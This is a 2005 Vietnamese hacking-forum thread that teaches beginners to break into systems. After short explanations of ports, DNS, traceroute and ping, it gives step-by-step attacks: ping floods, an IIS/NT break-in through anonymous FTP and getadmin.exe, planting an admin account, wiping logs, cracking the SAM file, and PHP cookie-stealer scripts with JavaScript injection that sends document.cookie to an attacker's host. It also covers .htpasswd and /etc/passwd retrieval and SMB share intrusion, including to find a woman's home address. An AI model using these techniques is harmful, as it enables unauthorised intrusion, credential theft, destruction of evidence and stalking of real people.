PDA

View Full Version : thủ thuật của tk_nam


tk_nam
15-11-2005, 06:39 PM
Những hiểu biết cõ bản nhất ðể trở thành Hacker - Phần 2 -

Vitual port ( cổng ảo ) là 1 số tự nhiên ðựợc gói ở trong TCP(Tranmission Control Protocol) và UDP(User Diagram Protocol) header. Nhý mọi nguòi ðã biết, Windows có thể chạy nhiều chýõng trình 1 lúc, mỗi chýõng trình này có 1 cổng riêng dùng ðể truyền và nhận dữ liệu.

Ví dụ 1 máy có ðịa chỉ IP là 127.0.0.1 chạy WebServer, FTP_Server, POP3 server, etc, những dịch vụ này ðều ðuọc chạy trên 1 IP address là 127.0.0.1, khi một gói tin ðuọc gửi ðến làm thế nào máy tính của chúng ta phân biệt ðýợc gói tin này ði vào dịch vụ nào WebServer hay FTP server hay SM! TP? Chính vì thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc ðịnh, ví dụ FTP có port mặc ðịnh là 21, web service có port mặc ðịnh là 80, POP3 là 110, SMTP là 25 vân vân....

Ngýời quản trị mạng có thể thay ðổi số port mặc ðịnh này, nếu bạn ko biết số port trên một máy chủ, bạn ko thể kết nối vào dịch vụ ðó ðýợc. Chắc bạn ðã từng nghe nói ðến PORT MAPPING nhýng có lẽ chýa biết nó là gì và chức nãng thế nào. Port mapping thực ra ðõn giản chỉ là quá trình chuyển ðổi số port mặc ðịnh của một dịch vụ nào ðó ðến 1 số khác. Ví dụ Port mặc ðịnh của WebServer là 80, nhýng thỉnh thoảng có lẽ bạn vẫn thấy http://www.xxx.com:8080 , 8080 ở ðây chính là số port của host xxx nhýng ðã ðuợc nguòi quản trị của host này ``map`` từ 80 thành 8080.

( Tài liệu của HVA )

15 . ) DNS là gì ?

_ DNS là viết tắt của Domain Name System. Một máy chủ DNS ðợi kết nối ở cổng số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ ðó, bạn phải kết nối ðến cổng số 53. Máy chủ chạy DNS chuyển hostname bằng các chữ cái thành các chữ số týõng ứng và ngýợc lại. Ví dụ: 127.0.0.1 -- > localhost và localhost--- > 127.0.0.1 .

( Tài liệu của HVA )

16 . ) Ðôi ðiều về Wingate :

_ WinGate là một chýõng trình ðõn giản cho phép bạn chia các kết nối ra. Thí dụ: bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều proxy khác nhau có thể che giấu bạn .
_ Làm sao ðể Wingate có thể che dấu bạn ? Hãy làm theo tôi : Bạn hãy telnet trên cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate > . Tại dấu nhắc này bạn ðánh vào tên server, cùng một khoảng trống và cổng bạn muốn kết nối vào. VD :

CODE
telnet wingate.net
WinGate > victim.com 23


ta telnet ðến cổng 23 vì ðây là cổng mặc ðịnh khi bạn cài Wingate . lúc này IP trên máy mà victim chộp ðýợc của ta là IP của máy chủ chứa Wingate proxy ðó .
_ Làm sao ðể tìm Wingate ?
+ Nếu bạn muốn tìm IP WinGates tĩnh (IP không ðổi) thì ðến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều ngýời dùng cable modems có WinGate ðể họ có thể chia sẻ ðýờng truyền rộng của nó cable modems cho những máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay Domain scanners và scan Port 1080 .
+ Ðể tìm IP ðộng (IP thay ðổi mỗi lần user kết nối vào internet) của WinGates bạn có thể dùng Domscan hoặc các chýõng trình quét khác . Nếu dùng Domscan bạn hãy nhập khoảng IP bất kỳ vào box ðầu tiên và số 23 vào box thứ 2 . Khi ðã có kết quả , bạn hãy thử lần lýợt telnet ðến các ðịa chỉ IP tìm ðựõc ( ðã hýớng dẫn ở trên ), nếu nó xuất hiện dấu “Wingate > ” thì bạn ðã tìm ðúng máy ðang sử dụng Wingate rồI ðó .
+ Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài , nó có rất nhièu trên mạng .

17 . ) Ðôi ðiều về Traceroute :

_ Traceroute là một chýõng trình cho phép bạn xác ðịnh ðýợc ðýờng ði của các gói packets từ máy bạn ðến hệ thống ðích trên mạng Internet.
_ bạn hãy xem VD sau :

CODE
C:\windows > tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms


Tôi cần biết ðýờng ði từ máy tôi ðến một host trên mạng Internet có ðịa chỉ ip là 203.94.12.54. Tôi cần phải tracert ðến nó! Nhý bạn thấy ở trên, các gói packets từ máy tôi muốn ðến ðýợc 203.94.12.54 phải ði qua 13 hops(mắc xích) trên mạng. Ðây là ðýòng ði của các gói packets .
_ Bạn hãy xem VD tiếp theo :

CODE
host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms


+ Dòng ðầu tiên cho biết hostname và ðịa chỉ IP của hệ thống ðích. Dòng này còn cho chúng ta biết thêm giá trị TTL<=30 và kích thýớc của datagram là 40 bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).
+ Dòng thứ 2 cho biết router ðầu tiên nhận ðýợc datagram là 202.xy.34.12, giá trị của TTL khi gởi ðến router này là 1. Router này sẽ gởi trở lại cho chýõng trình traceroute một ICMP message error ``Time Exceeded``. Traceroute sẽ gởi tiếp một datagram ðến hệ thống ðích.
+ Dòng thứ 3, xyz.com(202.xx.12.34) nhận ðýợc datagram có TTL=1(router thứ nhất ðã giảm một trýớc ðó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó sẽ gởi trở lại cho traceroute một ICMP error message ``Port Unreachable``. Khi nhận ðýợc ICMP message này, traceroute sẽ biết ðýợc ðã ðến ðýợc hệ thống ðích xyz.com và kết thúc nhiệm vụ tại ðây.
+ Trong trýờng hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu sao ``*``(không biết) và tiếp tục gởi datagram khác ðến host ðích!
_Chú ý:
Trong windows: tracert hostname
Trong unix: traceroute hostname

( Tài liệu của viethacker.net )

18 . ) Ping và cách sử dụng :

_ Ping là 1 khái niệm rât ðõn giản tuy nhiên rất hữu ích cho việc chẩn ðoán mạng. Tiểu sử của từ ``ping`` nhý sau: Ping là tiếng ðộng vang ra khi 1 tàu ngầm muốn biết có 1 vật thể khác ở gần mình hay ko, nếu có 1 vật thể nào ðó gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể ðó và tiếng vang lại sẽ là ``pong`` vậy thì tàu ngầm ðó sẽ biết là có gì gần mình.
_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó nhý ðã ðề cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) ðến host, nếu host ðó ``pong`` lại có nghĩa là host ðó tồn tại (hoặc là có thể với tới ðựoc). Ping cũng có thể giúp chúng ta biêt ðýợc luợng thời gian một gói tin (data packet) ði từ máy tính của mình ðến 1 host nào ðó.
_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ ``ping ðịa_chỉ_ip``, mặc ðịnh sẽ ping 4 lần, nhýng bạn cũng có thể gõ

CODE
``ping ip.address -t``


Cách này sẽ làm máy ping mãi. Ðể thay ðổi kích thýớc ping làm nhý sau:

CODE
``ping -l (size) ðịa_chỉ_ip ``


Cái ping làm là gửi một gói tin ðến một máy tính, sau ðó xem xem mất bao lâu gói tin rồi xem xem sau bao lâu gói tin ðó quay trở lại, cách này xác ðịnh ðýợc tốc ðộ của kết nối, và thời gian cần ðể một gói tin ði và quay trở lại và chia bốn (gọi là ``trip time``). Ping cũng có thể ðýợc dùng ðể làm chậm ði hoặc ðổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt ping (Bộ ðệm của kết nối bị tràn – có qua nhiều kết nối, nên Windows quyết ðịnh cho nó ði nghỉ một chút). Một cuộc tấn công “ping flood” sẽ chiếm rất nhiều bãng thông của bạn, và bạn phải có bãng thông lớn hõn ðối phýõng ( trừ khi ðối phýõng là một máy chạy Windows 98 và bạn có một modem trung bình, bằng cách ðó bạn sẽ hạ gục ðối phýõng sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm ðổi với những ðối phýõng mạnh hõn một chút. trừ khi bạn có nhiều ðýờng và bạn kiểm soát một số lýợng týõng ðối các máy chủ cùng ping mà tổng bãng thông lõn hõn ðối phýõng.
Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f ðể gây ra lụt thực sự. Thực tế là phải ping -f nếu bạn dùng một bản týõng thích POSIX (POSIX - Portable Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ ðiều hành mà nó tự cho nó là Unix hay Linux, nó sẽ có tham số -f.

( Tài liệu của HVA và viethacker.net )

19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet :

_ Ðây là bài học hack ðầu tiên mà tôi thực hành khi bắt ðầu nghiên cứu về hack , bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số thờI gian ðể thực hiện ðýợc nó vì nó tuy dễ nhýng khó . Ta sẽ bắt ðầu :
_ Ðầu tiên bạn cần tìm một server chạy IIS :
_ Tiếp ðến bạn vào DOS và ðánh ` FTP `. VD :

c:\Ftp www.dodgyinc.com

( trang naỳ khi tôi thực hành thì vẫn còn làm ðýợc , bây giờ không biết họ ðã fix chýa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI ngýờI cùng làm nhé )
Nếu connect thành công , bạn sẽ thấy một số dòng týõng tự nhý thế này :

CODE
Connected to www.dodgyinc.com.
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com:(none)):


Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta biết tên Netbios của máy tính là “ Vdodgy ” . Từ ðiều này bạn có thể suy diễn ra tên mà ðýợc sử dụng cho NT ðể cho phép ta có thể khai thác , mặc ðịnh mà dịch vụ FTP gán cho nó nếu nó chýa ðổi tên sẽ là “IUSR_VDODGY” . Hãy nhớ lấy vì nó sẽ có ích cho ta . Nhập ``anonymous” trong user nó sẽ xuất hiện dòng sau :

CODE
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:


Bây giờ passwd sẽ là bất cứ gì mà ta chýa biết , tuy nhiên , bạn hãy thử ðánh vào passwd là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết bị FTP , bạn hãy nhớ là khi ta quay lạI lần này thì không sử dụng cách mạo danh nữa ( anonymous ) mà sử dụng “`Guest” , thử lại passwd với “guest” xem thế nào .
Bây giờ bạn hãy ðánh lệnh trong DOS :

CODE
Cd /c


Và sẽ nhìn thấy kết quả nếu nhý bạn ðã xâm nhập thành công , bây giờ bạn hãy nhanh chóng tìm thý mục `cgi-bin` . Nếu nhý bạn may mắn , bạn sẽ tìm ðýợc dễ dàng vì thông thýờng hệ thống quản lý ðã ðặt `cgi-bin` vào nõi mà ta vừa xâm nhập ðể cho các ngýờI quản lý họ dễ dàng ðiều khiển mạng hõn . thý mục cgi-bin có thể chứa các chýõng trình mà bạn có thể lợi dụng nó ðể chạy từ trình duyệt Web của bạn . Ta hãy bắt ðầu “quậy” nào greenbiggrin.gif greenbiggrin.gif .
_ Ðầu tiên , bạn hãy chuyển tớ thý mục cgi-bin và sử dụng lệnh “Binary” ( có thể các bạn không cần dùng lệnh này ) , sau ðó bạn dánh tiếp lệnh “put cmd.exe” . Tiếp theo là bạn cần có file hack ðể cài vào thý mục này , hãy tìm trên mạng ðể lấy 2 file quan trọng nhất ðó là `getadmin.exe` và `gasys.dll` . Download chúng xuống , một khi bạn ðã có nó hãy cài vào trong thý mục cgi-bin . Ok , coi nhý mọI việc ðã xong , bạn hãy ðóng cửa sổ DOS .
Bây giờ bạn hãy ðánh ðịa chỉ sau lên trình duyệt của bạn :

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?IUSR_VDODGY

Sau vài giây bạn sẽ có ðýợc câu trả lời nhý ở dýớI ðây :

CODE
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Congratulations , now account IUSR_VDODGY have administrator rights!


Thế là bạn ðã mạo danh admin ðể xâm nhập hệ thống , việc cần thiết bây giờ là bạn hãy tự tạo cho mình một account , hãy ðánh dòng sau trên IE :

http://www.dodgyinc.com/cgi- bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%2 0hacker%20toilahacker%20/add

dòng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và passwd : toilahackerBây giờ bạn hãy là cho user này có account của admin , bạn chỉ cần ðánh lên IE lệnh :

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?anhdenday

Vậy là xong rùi ðó , bạn hãy disconnect và ðến start menu - > find rồi search computer `www.dodgyinc.com`. Khi tìm thấy , bạn vào explore , explore NT sẽ mở ra bạn hay nhập user và passwd ðể mở nó ( của tôi là user : anhdenday và passwd : toilahacker ) .

Có một vấn ðề là khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại , do ðó ðể xoá dấu vết bạn hãy vào `Winnt\system32\logfiles` mở file log ðó rồI xoá những thông tin liên quan ðến bạn , rồI save chúng . Nếu bạn muốn lấy một thông báo gì về việc chia sẽ sự xâm nhập thì bạn hãy thay ðổi ngày tháng trên máy tính vớI URL sau :

http://www.dodgyinc.com/cgi-bin/cm d.exe?/c%20date%2030/04/03

xong rồI bạn hãy xoá file `getadmin.exe`, và `gasys.dll` từ `cgi-bin` . Mục ðích khi ta xâm nhập hệ thống này là “chôm” pass của admin ðể lần sau xâm nhập một cách hợp lệ , do ðó bạn hãy tìm file SAM ( chứa pass của admin và member ) trong hệ thống rồI dùng chýõng trình “l0pht crack” ðể crack pass ( Hýớng dẫn về cách sử dụng “l0pht crack v 3.02” tôi ðã post lên rồi ,các bạn hãy tự nghiên cứu nhé ) . Ðây là link : http://vnhacker.org/forum/?act=ST& f=6&t=11566&s=
Khi crack xong các bạn ðã có user và pass của admin rồI , bây giờ hãy xoá account của user ( của tôi là “anhdenday” ) ði cho an toàn . Bạn ðã có thể làm gì trong hệ thống là tuỳ thích , nhýng các bạn ðừng xoá hết tài liệu của họ nhé , tội cho họ lắm .
Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi thử hack cách này , tôi ðã mày mò mất cả 4 giờ , nếu nhý bạn ðã quen thì lần thứ 2 bạn sẽ mất ít thờI gian hõn .

Ở phần 3 tôi sẽ ðề cập ðến HÐH Linux , ðến cách ngắt mật khẩu bảo vệ của một Web site , và làm thế nào ðể hack một trang web ðõn giản nhất .v.v…

Hết phần 2

tk_nam
15-11-2005, 06:40 PM
Những hiểu biết cõ bản nhất ðể trở thành Hacker - Phần 3



20.) Cookie là gì ?

Cookie là những phần dữ liệu nhỏ có cấu trúc ðýợc chia sẻ giữa web site và browser của ngýời dùng. cookies ðýợc lýu trữ dýới những file dữ liệu nhỏ dạng text (size dýới 4k). Chúng ðýợc các site tạo ra ðể lýu trữ/truy tìm/nhận biết các thông tin về ngýời dùng ðã ghé thãm site và những vùng mà họ ði qua trong site.

Những thông tin này có thể bao gồm tên/ðịnh danh ngýời dùng, mật khẩu, sở thích, thói quen...Cookie ðýợc browser của ngýời dùng chấp nhận lýu trên ðĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về ngýời dùng ðýợc lýu trữ trong cookie. Ở những lần truy cập sau ðến site ðó, web site có thể dùng lại những thông tin trong cookie (nhý thông tin liên quan ðến việc ðãng nhập vào 1 forum...) mà ngýời ko phải làm lại thao tác ðãng nhập hay phải nhập lại các thông tin khác. Vấn ðề ðặt ra là có nhiều site quản lý việc dùng lại các thông tin lýu trong cookie ko chính xác, kiểm tra ko ðầy ðủ hoặc mã hoá các thông tin trong cookie còn sõ hở giúp cho hacker khai thác ðể výợt qua cánh cửa ðãng nhập, ðoạt quyền ðiêu khiển site .

_ Cookies thýờng có các thành phần sau :

+ Tên: do ngýời lập trình web site chọn
+ Domain: là tên miền từ server mà cookie ðýợc tạo và gửi ði
+ Ðýờng dẫn: thông tin về ðýờng dẫn ở web site mà bạn ðang xem
+ Ngày hết hạn: là thời ðiểm mà cookie hết hiệu lực .
+ Bảo mật: Nếu giá trị này ðựõc thiết lập bên trong cookie, thông tin sẽ ðựõc mã hoá trong quá trình truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu ðặc trýng ðýợc web server lýu trữ ðể nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k.

( Tài liệu của Viethacker.net )

21 . ) Kỹ thuật lấy cắp cookie của nạn nhân :

_ Trýớc hết , các bạn hãy mở notepad rồi chép ðoạn mã sau vào notepad ðó :

CODE
<?php
define (``LINE``, ``\r\n``);
define (``HTML_LINE``, ``
``);
function getvars($arr, $title)
{
$res = ````;
$len = count($arr);
if ($len > 0)
{
if (strlen($title) > 0)
{
print(``[--------$title--------]`` . HTML_LINE);
$res .= ``[--------$title--------]`` . LINE;
}
foreach ($arr as $key = > $value)
{
print(``[$key]`` . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= ``[$key]`` . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date(``Y-m-d H:i:s``);
// init
$myData = ``[-----$now-----]`` . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, ````);
// file
$file = $REMOTE_ADDR . ``.txt``;
$mode = ``r+``;
if (!file_exists($file))
$mode = ``w+``;
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
? >


hoặc

CODE
<?php
if ($contents && $header){
mail(``victim@yahoo.com`` , ``from mail script``,$contents,$header) or
die(`couldnt email it`);
sleep(2);
? >


<?php
} else {
echo ``nope``;
}


(Bạn hãy sửa cái victim@yahoo.com thành ðịa chỉ Mail của bạn ) .

Bạn hãy save cái notepad này với tên “< tên tuỳ các bạn > .php ” ( Nhớ là phải có .php ) rồi upload lên một host nào ðó có hỗ trợ PHP , trong VD của tôi là abc.php .( Ðối với các bạn ðã từng làm Web chắc sẽ rất dễ phảI không ? ) . Ðoạn mã này sẽ có nhiệm vụ ãn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ liệu có chứa ðoạn mã này rồI tự ðộng save thông tin ðó thành file < ip của nạn nhân > .txt .
_ Còn một cách nữa ðể lấy cookie ðựõc sử dụng trên các forum bị lỗi nhýng chýa fix , khi post bài bạn chi cần thêm ðoạn mã sau vào bài của mình :

CODE
document.write(` `)


với host_php : là ðịa chỉ bạn ðã upload file ãn cắp cookie ðó lên .
và abc.php là file VD của tôi .
_ Ví dụ : khi áp dụng trong tag img, ta dùng nhý sau:

CODE
`)\">


hoặc:

[CODE
img]_javascript: Document.write(`***x3cimg src=http://host_php/docs.php?docs=`+escape(document .cookie)+`***x3e`)\">


_ Bạn có thể tìm những trang web ðể thực hành thử cách trong VD này bằng cách vào google.com tìm những forum bị lỗi này bằng từ khoá ``Powered by …….. forum” với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nếu các bạn may mắn các bạn có thể tìm thấy những forum chýa fix lỗi này mà thực hành , ai tìm ðýợc thì chia sẽ với mọi ngýời nhé .
_ Còn nhiều ðoạn mã ãn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm .

22 . ) Cách ngắt mật khẩu bảo vệ Website :

_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào ðó , có một số chỗ trên trang Web ðó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật khẩu , ðây chính là khu vực riêng tý cất dấu những thông tin mật chỉ dành cho số ngýời hoặc một nhóm ngýời nào ðó ( Nõi cất ðồ nghề hack của viethacker.net mà báo e-chip ðã nói tới chẳng hạn ) . Khi ta click vào cái link ðó thì ( thông thýờng ) nó sẽ gọi tới .htpasswd và .htaccess nằm ở cùng trong thý mục bảo vệ trang Web . Tại sao phải dùng dấu chấm ở trýớc trong tên file `.htaccess`? Các file có tên bắt ðầu là một dấu chấm `.` sẽ ðýợc các web servers xem nhý là các file cấu hình. Các file này sẽ bị ẩn ði (hidden) khi bạn xem qua thý mục ðã ðýợc bảo vệ bằng file .htaccess .Hai hồ sõ này có nhiệm vụ ðiều khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập ðó . Một cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá những thông tin cho file kia . Khi bạn nhập ðúng cả 2 thì cái link ðó mới mở ra . Bạn hãy nhìn VD sau :

CODE
Graham:F#.DG*m38d%RF
Webmaster:GJA54j.3g9#$@f


Username bạn có thể ðọc ðýợc rùi , còn cái pass bạn nhìn có hiểu mô tê gì không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể ðọc ðýợc chúng không ? cái này nó có sự can thiệp của thằng file .htaccess . Do khi cùng ở trong cùng thý mục chúng có tác ðộng qua lại ðể bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng ðột nhập rồi crack mớ mật khẩu chết tiệt ðó ( khi chýa có ðồ nghề crack mật khẩu trong tay . Tôi cũng ðang nghiên cứu ðể có thể xâm nhập trực tiếp , nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở ðây , chuyện gì sẽ xảy ra nếu cái .htpasswd nằm ngoài thý mục bảo vệ có file .htaccess ? Ta sẽ chôm ðýợc nó dễ dàng , bạn hãy xem link VD sau :

http://www.company.com/cgi-bin/pro tected/


hãy kiểm tra xem file .htpasswd có ðýợc bảo vệ bởI .htaccess hay không , ta nhập URL sau :

http://www.company.com/cgi-bin/pro tected/.htpasswd

Nếu bạn thấy có câu trả lờI `File not found` hoặc týõng tự thì chắc chắn file này ðã không ðýợc bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau :

http://www.company.com/.htpasswd</ a>
http://www.company.com/cgi-bin/.ht passwd
http://www.company.com/cgi-bin/pas swords/.htpasswd
http://www.company.com/cgi-bin/pas swd/.htpasswd

nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác týõng tự ( có thể nó nằm ngay ở thý mục gốc ðấy ) , cho ðến khi nào các bạn tìm thấy thì thôi nhé .
Khi tìm thấy file này rồi , bạn hãy dùng chýõng trình ``John the ripper`` hoặc ``Crackerjack``, ðể crack passwd cất trong ðó . Công việc tiếp theo hẳn các bạn ðã biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ ðột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì trong ðó , nhýng các bạn cũng ðừng có ðổi pass của họ hay quậy họ nhé .
Cách này các bạn cũng có thể áp dụng ðể lấy pass của admin vì hầu hết những thành viên trong nhóm kín ðều là “có chức có quyền” cả .

23 . ) Tìm hiểu về CGI ?

_ CGI là từ viết tắt của Common Gateway Interface , ða số các Website ðều ðang sử dụng chýõng trình CGI ( ðýợc gọI là CGI script ) ðể thực hiện những công việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là những chýõng trình ðýợc viết và ðýợc upload lên trang Web vớI những ngôn ngữ chủ yếu là Perl , C , C++ , _Vbscript trong ðó Perl ðýợc ýa chuộng nhất vì sự dễ dàng trong việc viết chýõng trình ,chiếm một dung lýợng ít và nhất là nó có thể chạy liên tục trong 24 giờ trong ngày .
_ Thông thýờng , CGI script ðýợc cất trong thý mục /cgi-bin/ trên trang Web nhý VD sau :

http://www.company.com/cgi-bin/log in.cgi


với những công việc cụ thể nhý :
+ Tạo ra chýõng trình ðếm số ngýời ðã ghé thãm .
+ Cho phép những ngýờI khách làm những gì và không thể làm những gì trên Website của bạn .
+ Quản lý user name và passwd của thành viên .
+ Cung cấp dịch vụ Mail .
+ Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên .
+ Cung cấp những thông báo lỗi chi tiết .v.v…..

24 . ) Cách hack Web cõ bản nhất thông qua CGI script :

_ Lỗi thứ 1 : lỗi nph-test-cgi

+ Ðánh tên trang Web bị lỗi vào trong trình duyệt của bạn .
+ Ðánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi
+ Lúc ðó trên URL bạn sẽ nhìn giống nhý thế này :

http://www.servername.com/cgi-bin/ nph-test-cgi

+ Nếu thành công bạn sẽ thấy các thý mục ðýợc cất bên trong . Ðể xem thý mục nào bạn ðánh tiếp :

CODE
? /*


+ file chứa passwd thýờng ðýợc cất trong thý mục /etc , bạn hãy ðánh trên URL dòng sau :

http://www.servername.com/cgi-bin/ nph-test-cgi?/etc/*

_ Lỗi thứ 2 : lỗi php.cgi

+ Týõng tự trên bạn chỉ cần ðánh trên URL dòng sau ðể lấy pass :

http://www.servername.com/cgi-bin/ php.cgi?/etc/passwd

Quan trọng là ðây là những lỗi ðã cũ nên việc tìm các trang Web ðể các bạn thực hành rất khó , các bạn hãy vào trang google.com rồi ðánh từ khoá :

/cgi-bin/php.cgi?/etc/passwd]
hoặc cgi-bin/nph-test-cgi?/etc

sau ðó các bạn hãy tìm trên ðó xem thử trang nào chýa fix lỗi ðể thực hành nhé .

25 . ) Kỹ thuật xâm nhập máy tính ðang online :

_ Xâm nhập máy tính ðang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhýng bạn sẽ gặp vấn ðề khi dùng nó là tốc ðộ sử dụng trên máy của nạn nhân sẽ bị chậm ði một cách ðáng kể và những máy họ không share thì không thể xâm nhập ðýợc, do ðó nếu họ tắt máy là mình sẽ bị công cốc khi chýa kịp chôm account , có một cách êm thấm hõn , ít làm giảm tốc ðộ hõn và có thể xâm nhập khi nạn nhân không share là dùng chýõng trình DOS ðể tấn công . Ok , ta sẽ bắt ðầu :
_ Dùng chýõng trình scan IP nhý ENT 3 ðể scan IP mục tiêu .
_ Vào Start == > Run gõ lệnh cmd .
_ Trong cửa sổ DOS hãy ðánh lệnh “net view ”

CODE
+ VD : c:\net view 203.162.30.xx


_ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần ðánh tiếp lệnh

net use <ổ ðĩa bất kỳ trên máy của bạn > : <ổ share của nạn nhân >

+ VD : c:\net use E : 203.162.30.xxC

_ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy download chýõng trình dò passwd về sử dụng ( theo tôi bạn hãy load chýõng trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HÐH Win98 hoặc Winme và chýõng trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chýõng trình týõng tự nhau , dòng ðầu ta ðánh IP của nạn nhân , dòng thứ hai ta ðánh tên ổ ðĩa share của nạn nhân nhýng ðối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dýớI 5000 .
_ Nếu máy của nạn nhân không có share thì ta ðánh lệnh :

net use <ổ ðĩa bất kỳ trên máy của bạn > : c$ (hoặc d$)``administrator``

+ VD : net use E : 203.162.30.xxC$``administrator``

Kiểu chia sẽ bằng c$ là mặc ðịnh ðối với tất cả các máy USER là ``administrator`` .
_ Chúng ta có thể áp dụng cách này ðể ðột nhập vào máy của cô bạn mà mình “thầm thýõng trộm nhớ” ðể tìm những dữ liệu liên quan ðến ðịa chỉ của cô nàng ( với ðiều kiện là cô ta ðang dùng máy ở nhà và bạn may mắn khi tìm ðýợc ðịa chỉ ðó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS ðánh lệnh :

c:\netstat –n

Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ ðể khung chat Y!Mass với cô ta thôi , nó sẽ giúp bạn dễ dàng hõn trong việc xác ðịnh ðịa chỉ IP của cô ta . Sau ðó bạn dùng cách xâm nhập mà tôi ðã nói ở trên .( Có lẽ anh chàng tykhung của chúng ta hồi xýa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này ðể ðột nhập và tìm hiểu ðịa chỉ của cô ta ðây mà , hi`hi` . )
Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy .

=================================================== =

Nhiều bạn có yêu cầu tôi ðýa ra ðịa chỉ chính xác cho các bạn thực tập , nhýng tôi không thể ðýa ra ðýợc vì rút kinh nghiệm những bài hýớng dẫn có ðịa chỉ chính xác , khi các bạn thực hành xong ðoạt ðýợc quyền admin có bạn ðã xoá cái database của họ . Nhý vậy HVA sẽ mang tiếng là nõi bắt nguồn cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu có thể thì tôi chỉ nêu những cách thức ðể các bạn tìm những dịa chỉ bị lỗi ðó chứ không ðýa ra ðịa chỉ cụ thể nào .

